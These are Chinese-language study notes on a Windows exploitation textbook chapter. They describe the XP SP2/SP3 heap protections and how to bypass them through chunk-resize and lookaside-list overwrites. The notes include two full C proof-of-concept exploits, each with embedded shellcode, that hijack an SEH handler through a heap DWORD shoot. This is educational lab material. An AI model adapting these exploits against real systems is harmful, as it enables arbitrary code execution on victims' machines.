note chapter 15
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notes about 0day chapter 15
from 15.1
微软在之前堆的基础上增加了堆的安全校验:
- PEB random
- Safe Unlink
Safe Unlink机制:
Windows sp2之前链表的拆卸操作:
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| int remove (ListNode * node) { node -> blink -> flink = node -> flink; node -> flink -> blink = node -> blink; return 0; }
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SP2在进行删除操作时,将提前验证堆块前向指针和后向指针的完整性,以防止发生DWORD SHOOT:
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| int safe_remove (ListNode * node) { if( (node->blink->flink==node)&&(node->flink->blink==node) ) { node -> blink -> flink = node -> flink; node -> flink -> blink = node -> blink; return 1; } else { 链表指针被破坏,进入异常 return 0; } }
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- heap cookie
- cookie被布置在堆首部分原堆块的segment table的位置,占1个字节大小
- 元数据加密
from 15.4 利用chunk 重设大小攻击堆
freelist[0]
blink:0x003A0688
flink:0x003A0688
chunk:
0x003A0680:0x0130,0x0008
0x003A0688:0x003A0178,0x003A0178
windows xp pro sp3中开始拆卸链表地址:0x7C930F11
拆卸前(freelist[0]指向尾块):
地址 |
十六进制数据 |
十六进制数据 |
003A0178 |
88 06 3A 00 |
88 06 3A 00 |
链表拆卸完毕后:
地址 |
十六进制数据 |
十六进制数据 |
003A0178 |
78 01 3A 00 |
78 01 3A 00 |
然后将旧chunk flink赋值给新的chunk flink,将旧chunk->flink->blink=新chunk->blink的:
旧chunk->flink->blink->flink=新chunk的指针结构的起始地址:
总结:
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| 1 // 设置 new_chunk 2 new_chunk->Flink = old_chunk->Flink 3 new_chunk->Blink = old_chunk->Flink->Blink 4 // 将 new_chunk 插入到 FreeList[] 5 old_chunk->Flink->Blink->Flink = new_chunk 6 old_chunk->Flink->Blink = new_chunk
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可以看到old_chunk->Flink->Blink->Flink = new_chunk存在dword shoot漏洞,如将old_chunk->Flink 覆盖为 0xAAAAAAAA,则:
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| [new_chunk->Flink] = 0xAAAAAAAA [new_chunk->Blink] = [0xAAAAAAAA+4] [[0xAAAAAAAA+4]] = new_chunk // DWORD SHOOT [0xAAAAAAAA+4] = new_chunk
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代码:
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| #include <stdio.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x10\x01\x10\x00\x99\x99\x99\x99"
"\xEB\x06\x3a\x00\xEB\x06\x3a\x00"
"\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xEB\x31\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x11\x01\x10\x00\x99\x99\x99\x99\x8C\x06\x3a\x00\xb4\xFF\x12\x00" "\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main() { HLOCAL h1,h2; HANDLE hp; hp = HeapCreate(0,0x1000,0x10000); __asm int 3 h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); int zero=0; zero=1/zero; printf("%d",zero); }
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memcpy之前的chunk结构:
若将旧的chunk flink blink 覆盖为0x003A06EB,将0x003A06EB覆盖为SEH地址0x0012FFB4,第二次申请的时候会有:
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| [0x003A06B8]=0x003A06EB [0x003A06B8+4]=0x0012FFE4 [0x0012FFE4]= 0x003A06B8 [0x003A06EB+4]=0x003906B8
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覆盖完毕:
通过两个跳转跳到shellcode:
执行shellcode:
from 15.4 利用Lookaside 表进行堆溢出
代码:
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| #include <stdio.h> #include <windows.h> char shellcode []= "\xEB\x40\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x03\00\x03\x00\x5C\x01\x08\x99" "\xb4\xFF\x12\x00" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x74\x65\x73\x74\x68\x6D\x69\x78\x69\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8";
void main() { HLOCAL h1,h2,h3; HANDLE hp; hp = HeapCreate(0,0,0); h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); HeapFree(hp,0,h3); HeapFree(hp,0,h2); memcpy(h1,shellcode,300); h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); h3 = HeapAlloc(hp,HEAP_ZERO_MEMORY,16); memcpy(h3,"\x90\x1E\x3a\x00",4); int zero=0; zero=1/zero; printf("%d",zero); }
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